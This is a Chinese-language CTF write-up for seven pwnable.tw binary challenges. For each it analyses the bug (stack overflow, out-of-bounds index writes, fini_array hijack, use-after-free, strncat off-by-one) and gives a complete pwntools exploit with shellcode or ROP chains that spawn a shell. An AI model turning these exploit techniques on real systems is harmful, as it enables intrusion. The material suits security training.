nyyyddddn

pwnable.tw

2024/01/19

pwnable.tw

持续更新

start

检查一下保护 和查看每个段的权限发现,栈上有可执行权限

1
2
3
4
5
6
7
8
lhj@lhj-virtual-machine:~/Desktop/pwntw/start$ checksec start
[*] '/home/lhj/Desktop/pwntw/start/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)

1
2
3
4
5
6
7
8
gef➤  vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /home/lhj/Desktop/pwntw/start/start
0xf7ff8000 0xf7ffc000 0x00000000 r-- [vvar]
0xf7ffc000 0xf7ffe000 0x00000000 r-x [vdso]
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

查看了下题目逻辑,有一个输出一个输入,执行完输入后,add 0x14使得esp到 0x804809d(exit),然后ret执行 (exit)结束程序。可以发现输入大小是0x3c,是能覆盖返回地址的。如果能把栈的地址泄露出来的话,就能往栈上写shellcode,然后ret到shellcode那

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Dump of assembler code for function _start:
0x08048060 <+0>: push esp
0x08048061 <+1>: push 0x804809d
0x08048066 <+6>: xor eax,eax
0x08048068 <+8>: xor ebx,ebx
0x0804806a <+10>: xor ecx,ecx
0x0804806c <+12>: xor edx,edx
0x0804806e <+14>: push 0x3a465443
0x08048073 <+19>: push 0x20656874
0x08048078 <+24>: push 0x20747261
0x0804807d <+29>: push 0x74732073
0x08048082 <+34>: push 0x2774654c
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
0x08048091 <+49>: xor ebx,ebx
0x08048093 <+51>: mov dl,0x3c
0x08048095 <+53>: mov al,0x3
0x08048097 <+55>: int 0x80
0x08048099 <+57>: add esp,0x14
=> 0x0804809c <+60>: ret

会发现执行到ret的时候 stack上有一个栈相关的地址,可以通过栈溢出覆盖返回地址调用 write来把esp打印出来泄露这个地址,泄露完后刚刚好又能再read一次,第二次read就写shellcode,然后把返回地址修改成shellcode的起始地址(用泄露出来的地址,gdb去查看这个地址和shellcode的偏移来算shellcode的地址),第二次read esp到返回地址之间的距离太短了,所以在返回地址后边写shellcode。shellcode的地址 = leak_addr + 0x14(esp距离返回地址的偏移)

1
2
3
4
5
0x08048087 <+39>:    mov    ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./start')
libc = elf.libc

is_debug = 0

if(is_debug):
p = process()
else:
ip = "chall.pwnable.tw"
port = 10000
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

# g(p)

payload = b'a' * 0x14 + p32(0x08048087)
sa("Let's start the CTF:",payload)

leak_rsp = u32(p.recv(4))
success(hex(leak_rsp))

shellcode = asm('''
push %s
push %s
push esp
pop ebx
xor ecx,ecx
xor edx,edx
push 0xb
pop eax
int 0x80
''' % (u32('/sh\0') , u32('/bin')))

# g(p)
payload = b'a' * 0x14 + p32(leak_rsp + 0x14) + shellcode
s(payload)

p.interactive()

orw

程序逻辑是,输入 0xC8 个字节的数据,然后call这个数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
; Attributes: bp-based frame fuzzy-sp

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near

var_4= dword ptr -4
argc= dword ptr 8
argv= dword ptr 0Ch
envp= dword ptr 10h

; __unwind {
lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ecx
sub esp, 4
call orw_seccomp
sub esp, 0Ch
push offset format ; "Give my your shellcode:"
call _printf
add esp, 10h
sub esp, 4
push 0C8h ; nbytes
push offset shellcode ; buf
push 0 ; fd
call _read
add esp, 10h
mov eax, offset shellcode
call eax ; shellcode
mov eax, 0
mov ecx, [ebp+var_4]
leave
lea esp, [ecx-4]
retn
; } // starts at 8048548
main endp

输入前有一个沙箱,可以通过orw(open read write)把flag读出来,不过这里 如果 A 为 64位的话,似乎也能绕过沙箱,好像可以通过retn去修改段寄存器的某个数据来切换处理器的运行模式,不过我是直接用shellcraft来生成orw把flag读出来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
lhj@lhj-virtual-machine:~/Desktop/pwntw/orw$ seccomp-tools dump ./orw
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
# from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./orw')
libc = elf.libc

is_debug = 0

if(is_debug):
p = process()
else:
ip = "chall.pwnable.tw"
port = 10001
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

def orw_i386():
shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax','esp',0x30)
shellcode += shellcraft.write(1,'esp',0x30)
return asm(shellcode)


def orw_cat_i386():
shellcode = shellcraft.i386.linux.cat2('/home/orw/flag')
return asm(shellcode)

shellcode = orw_cat_i386()
print(len(shellcode))

# g(p)
s(shellcode)

p.interactive()

calc

先分析一下程序的功能,get_expr是输入(最多位1024字节的数据),parse_expr会把输入的表达式计算出来,最后打印结果。bzero和init_pool这两个函数不太重要,只是初始化的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int calc()
{
int pool[101]; // [esp+18h] [ebp-5A0h] BYREF
char s[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
unsigned int v3; // [esp+5ACh] [ebp-Ch]

v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(s, 0x400u);
if ( !get_expr(s, 1024) )
break;
init_pool(pool);
if ( parse_expr((int)s, pool) )
{
printf("%d\n", pool[pool[0]]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}

这里对输入有一些字符限制,满足约束才能把数据读进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl get_expr(int a1, int a2)
{
int v2; // eax
char v4; // [esp+1Bh] [ebp-Dh] BYREF
int v5; // [esp+1Ch] [ebp-Ch]

v5 = 0;
while ( v5 < a2 && read(0, &v4, 1) != -1 && v4 != 10 )
{
if ( v4 == 43 || v4 == 45 || v4 == 42 || v4 == 47 || v4 == 37 || v4 > 47 && v4 <= 57 )
{
v2 = v5++;
*(_BYTE *)(a1 + v2) = v4;
}
}
*(_BYTE *)(v5 + a1) = 0;
return v5;
}
1
2
[37, 42, 43, 45, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57]
%*+-/0123456789

parse_expr中,会通过查找运算符位置的方式,来划分表达式中的操作数 运算符,分别存储到两个数组中,最后丢到eval里计算结果

满足约束的运算符的ascii是 < 48的,这里做了一个无符号的类型转换 负数转u32_int的值是 > 9的,所以这段代码作用是 判断是否是一个运算符(第一次看感觉很奇怪)

1
(unsigned int)(*(char *)(i + inputString) - 48) > 9 )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
int __cdecl parse_expr(int inputString, _DWORD *pool)
{
int v3; // eax
int v4; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int v6; // [esp+28h] [ebp-80h]
int v7; // [esp+2Ch] [ebp-7Ch]
char *s1; // [esp+30h] [ebp-78h]
int v9; // [esp+34h] [ebp-74h]
char operator[100]; // [esp+38h] [ebp-70h] BYREF
unsigned int v11; // [esp+9Ch] [ebp-Ch]

v11 = __readgsdword(0x14u);
v4 = inputString;
v6 = 0;
bzero(operator, 0x64u);
for ( i = 0; ; ++i )
{
if ( (unsigned int)(*(char *)(i + inputString) - 48) > 9 )
{
v7 = i + inputString - v4;
s1 = (char *)malloc(v7 + 1);
memcpy(s1, v4, v7);
s1[v7] = 0;
if ( !strcmp(s1, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
v9 = atoi(s1);
if ( v9 > 0 )
{
v3 = (*pool)++;
pool[v3 + 1] = v9;
}
if ( *(_BYTE *)(i + inputString) && (unsigned int)(*(char *)(i + 1 + inputString) - 48) > 9 )
{
puts("expression error!");
fflush(stdout);
return 0;
}
v4 = i + 1 + inputString;
if ( operator[v6] )
{
switch ( *(_BYTE *)(i + inputString) )
{
case '%':
case '*':
case '/':
if ( operator[v6] != 43 && operator[v6] != 45 )
goto LABEL_14;
operator[++v6] = *(_BYTE *)(i + inputString);
break;
case '+':
case '-':
LABEL_14:
eval(pool, operator[v6]);
operator[v6] = *(_BYTE *)(i + inputString);
break;
default:
eval(pool, operator[v6--]);
break;
}
}
else
{
operator[v6] = *(_BYTE *)(i + inputString);
}
if ( !*(_BYTE *)(i + inputString) )
break;
}
}
while ( v6 >= 0 )
eval(pool, operator[v6--]);
return 1;
}

漏洞点出来eval函数中,从这里可以发现 pool[0]是存储pool中有多少个操作数,通过pool[0] 计算下标取两个操作数的位置,还有计算结果存放的位置。

如果表达式为 + 10的话,这个表达式会变成 pool[1 - 1] += pool[1],也就是能覆盖pool[0]。由于eval计算表达式是通过pool[0]来计算存储结果的位置,也就是说能控制pool[0] 就能往任意地址写入 表达式的结果,实现一个任意地址值写

1
pool[*pool - 1] += pool[*pool];
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
_DWORD *__cdecl eval(_DWORD *pool, char a2)
{
_DWORD *result; // eax

if ( a2 == 43 )
{
pool[*pool - 1] += pool[*pool];
}
else if ( a2 > 43 )
{
if ( a2 == 45 )
{
pool[*pool - 1] -= pool[*pool];
}
else if ( a2 == 47 )
{
pool[*pool - 1] /= (int)pool[*pool];
}
}
else if ( a2 == 42 )
{
pool[*pool - 1] *= pool[*pool];
}
result = pool;
--*pool;
return result;
}

除了任意地址写外,printf这里是通过 pool作为基地址,偏移pool[0]来取数据打印的,这意味着这里能泄露任意地址

1
2
3
4
5
if ( parse_expr((int)s, pool) )
{
printf("%d\n", pool[pool[0]]);
fflush(stdout);
}

利用思路是,通过ropgadget生成一个rop链,往返回地址写这个rop链,先泄露要写的位置的数据,然后通过sub和add清空这个位置的数据,最后把rop链 add上去。

这个pool距离 rbp的位置是 0x5a0个字节,32位程序返回地址在rbp + 4上。pool是int32类型的,所以偏移为 (0x5a0 + 4) / 4 = 361

1
int pool[101]; // [esp+18h] [ebp-5A0h] BYREF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./calc')
libc = elf.libc

is_debug = 0

if(is_debug):
p = process()
else:
ip = "chall.pwnable.tw"
port = 10100
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


from struct import pack

payload = b''
payload += pack('<I', 0x080701aa) # pop edx ; ret
payload += pack('<I', 0x080ec060) # @ .data
payload += pack('<I', 0x0805c34b) # pop eax ; ret
payload += b'/bin'
payload += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080701aa) # pop edx ; ret
payload += pack('<I', 0x080ec064) # @ .data + 4
payload += pack('<I', 0x0805c34b) # pop eax ; ret
payload += b'//sh'
payload += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080701aa) # pop edx ; ret
payload += pack('<I', 0x080ec068) # @ .data + 8
payload += pack('<I', 0x080550d0) # xor eax, eax ; ret
payload += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080481d1) # pop ebx ; ret
payload += pack('<I', 0x080ec060) # @ .data
payload += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret
payload += pack('<I', 0x080ec068) # @ .data + 8
payload += pack('<I', 0x080ec060) # padding without overwrite ebx
payload += pack('<I', 0x080701aa) # pop edx ; ret
payload += pack('<I', 0x080ec068) # @ .data + 8
payload += pack('<I', 0x080550d0) # xor eax, eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x0807cb7f) # inc eax ; ret
payload += pack('<I', 0x08049a21) # int 0x80


r()
for i in range(361, 361 + int(len(payload) / 4)):

sl('+' + str(i))
value = int(r())

if value > 0:
payload2 = f'+{i}-{value}+{u32(payload[(i - 361) * 4:(i - 361 + 1) * 4])}'
else:
payload2 = f'+{i}+{-value}+{u32(payload[(i - 361) * 4:(i - 361 + 1) * 4])}'

sl(payload2)

r()


sl('')
p.interactive()

3x17

https://wiki.mrskye.cn/Pwn/stackoverflow/fini_array%E5%8A%AB%E6%8C%81/fini_array%E5%8A%AB%E6%8C%81/#pwnabletw-3x17

程序逻辑大概是 往指定地址写一个 0x18大小的数据,但是只能写一次,程序是静态链接的,写不了got,也不能泄露一个栈相关的地址写返回地址来控制程序执行流。后面查询了一下发现,可以通过写fini_array来控制程序执行流,来无限次写,然后再写 syscall版本的rop链,最后栈迁移过去执行syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./3x17')
libc = elf.libc

is_debug = 0

if(is_debug):
p = process()
else:
ip = "chall.pwnable.tw"
port = 10105
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])



def write_data(addr,data):
r()
s(str(addr))
r()
s(data)

fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
rsp = fini_array + 0x10
leave_ret = 0x401C4B
ret = 0x401016

rop_syscall = 0x471db5
rop_pop_rax = 0x41e4af
rop_pop_rdx = 0x446e35
rop_pop_rsi = 0x406c30
rop_pop_rdi = 0x401696
bin_sh_addr = 0x4B419A

def write(addr,data):
p.recv()
p.send(str(addr))
p.recv()
p.send(data)

write(fini_array,p64(libc_csu_fini) + p64(main_addr))

write(bin_sh_addr,"/bin/sh\x00")
write(rsp,p64(rop_pop_rax))
write(rsp+8,p64(0x3b))
write(rsp+16,p64(rop_pop_rdi))
write(rsp+24,p64(bin_sh_addr))
write(rsp+32,p64(rop_pop_rdx))
write(rsp+40,p64(0))
write(rsp+48,p64(rop_pop_rsi))
write(rsp+56,p64(0))
write(rsp+64,p64(rop_syscall))
write(fini_array,p64(leave_ret) + p64(ret))

p.interactive()

dubblesort

程序的逻辑是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
_BYTE *v4; // edi
unsigned int i; // esi
unsigned int j; // esi
int result; // eax
unsigned int v8; // [esp+18h] [ebp-74h] BYREF
_BYTE v9[32]; // [esp+1Ch] [ebp-70h] BYREF
char buf[64]; // [esp+3Ch] [ebp-50h] BYREF
unsigned int v11; // [esp+7Ch] [ebp-10h]

v11 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, "What your name :");
read(0, buf, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &v8);
v3 = v8;
if ( v8 )
{
v4 = v9;
for ( i = 0; i < v8; ++i )
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
v3 = v8;
v4 += 4;
}
}
sub_931(v9, v3);
puts("Result :");
if ( v8 )
{
for ( j = 0; j < v8; ++j )
__printf_chk(1, "%u ");
}
result = 0;
if ( __readgsdword(0x14u) != v11 )
sub_BA0();
return result;
}

漏洞点有两个位置,第一个是 printf (….”%s”) ,这里的pritnf使用了 %s,能够利用这类泄露栈上的数据

1
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");

第二个位置是这里,v8可控,可以通过这里去覆盖返回地址,往后边写rop链,注意有一个canary。原本的思路是 printf %s 这里泄露canary,然后带上canary打ret2libc,后面发现scanf 如果输入一个和期待字符类型不同的字符,就不会写入。所以printf %s直接去泄露libc的地址,然后算出 binsh和system的地址,最后覆盖返回地址 传参就好了。有些奇怪远程打不通,第一次leak 的时候 也leak不出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__isoc99_scanf("%u", &v8);
v3 = v8;
if ( v8 )
{
v4 = v9;
for ( i = 0; i < v8; ++i )
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
v3 = v8;
v4 += 4;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./dubblesort')
libc = ELF('libc_32.so.6')

is_debug = 1

if(is_debug):
p = process()
else:
ip = "chall.pwnable.tw"
port = 10101
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

s("a" * (0x18 + 1))
leak_addr = u32(ru(b'\xf7')[-4:]) & 0xffffff00
libc_base = leak_addr - 0x1b0000
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

success(f'libc_base ->{hex(libc_base)}')
success(f'system_add ->{hex(system_addr)}')


sla(b'sort :', str('35').encode())

for i in range(24):
sla(b'number :', b'0')

sla(b'number :', b'+')

for i in range(7):
sla(b'number :', str(system_addr).encode())

sla(b'number :', str(system_addr).encode())
sla(b'number :', str(system_addr).encode())
sla(b'number :', str(binsh_addr).encode())


p.interactive()

hacknote

存在uaf,可以通过控制size的大小,从fastbin里面拿到一个堆块,往里面写函数指针,通过printf note 实现任意函数调用打ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./hacknote')
libc = ELF('./libc_32.so.6')

is_debug = 1

if(is_debug):
p = process()
else:
ip = "chall.pwnable.tw"
port = 10102
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])



def add_note(size,content):
sla('Your choice :','1')
sla('Note size :',str(size))
sa('Content :',content)

def delete_note(index):
sla('Your choice :','2')
sla('Index :',str(index))

def print_note(index):
sla('Your choice :','3')
sla('Index :',str(index))


add_note(0x50,'aaaa')
add_note(0x50,'bbbb')

delete_note(1)
delete_note(0)

puts = 0x804862b
read_got = elf.got['read']
payload = p32(puts)+p32(read_got)
add_note(8,payload)
print_note(1)

libc_base = u32(p.recv(4)) - libc.sym['read']
system = libc_base + libc.sym['system']

delete_note(2)
payload = p32(system) + b';sh\0'
add_note(8,payload)

print_note(1)


p.interactive()

silver_bullet

漏洞出在power_up函数中的strncat ,strncat的作用是将一个字符串复制n个字节到另一个字符串的末尾,并添加\x00,添加\x00这一步刚刚好可以覆盖dest + 12中存放的字符串长度信息,再次调用power_up的时候会产生溢出,可以覆盖main函数的返回地址,打ret2libc。

通过puts_plt(puts_got)的方式泄露一个libc的地址拿到binsh 和system,然后system(binsh)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl power_up(char *dest)
{
char s[48]; // [esp+0h] [ebp-34h] BYREF
size_t v3; // [esp+30h] [ebp-4h]

v3 = 0;
memset(s, 0, sizeof(s));
if ( !*dest )
return puts("You need create the bullet first !");
if ( *((_DWORD *)dest + 12) > 0x2Fu )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(s, 48 - *((_DWORD *)dest + 12));
strncat(dest, s, 48 - *((_DWORD *)dest + 12));
v3 = strlen(s) + *((_DWORD *)dest + 12);
printf("Your new power is : %u\n", v3);
*((_DWORD *)dest + 12) = v3;
return puts("Enjoy it !");
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./silver_bullet')
libc = ELF('./libc_32.so.6')

is_debug = 0

if(is_debug):
p = process()
else:
ip = "chall.pwnable.tw"
port = 10103
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


def create_silver_bullet(data):
sla("Your choice :","1")
sla("Give me your description of bullet :",data)

def power_up(data):
sla("Your choice :","2")
sla('Give me your another description of bullet :',data)

def beat():
sla("Your choice :","3")

main = 0x8048954
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

create_silver_bullet(b'a' * 47)
power_up(b'a')

payload = b'\xff' * 7 + p32(puts_plt) + p32(main) + p32(puts_got)
power_up(payload)

beat()

ru("Oh ! You win !!\n")
leak_puts_addr = u32(ru(b'\xf7')[-4:])
libc_base = leak_puts_addr - libc.sym['puts']
success(f"libc_base ->{hex(libc_base)}")

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))

create_silver_bullet(b'a' * 47)
power_up(b'a')

payload = b'\xff' * 7 + p32(system) + p32(main) + p32(binsh)
power_up(payload)

beat()

p.interactive()
CATALOG
  1. 1. pwnable.tw
    1. 1.1. start
    2. 1.2. orw
    3. 1.3. calc
    4. 1.4. 3x17
    5. 1.5. dubblesort
    6. 1.6. hacknote
    7. 1.7. silver_bullet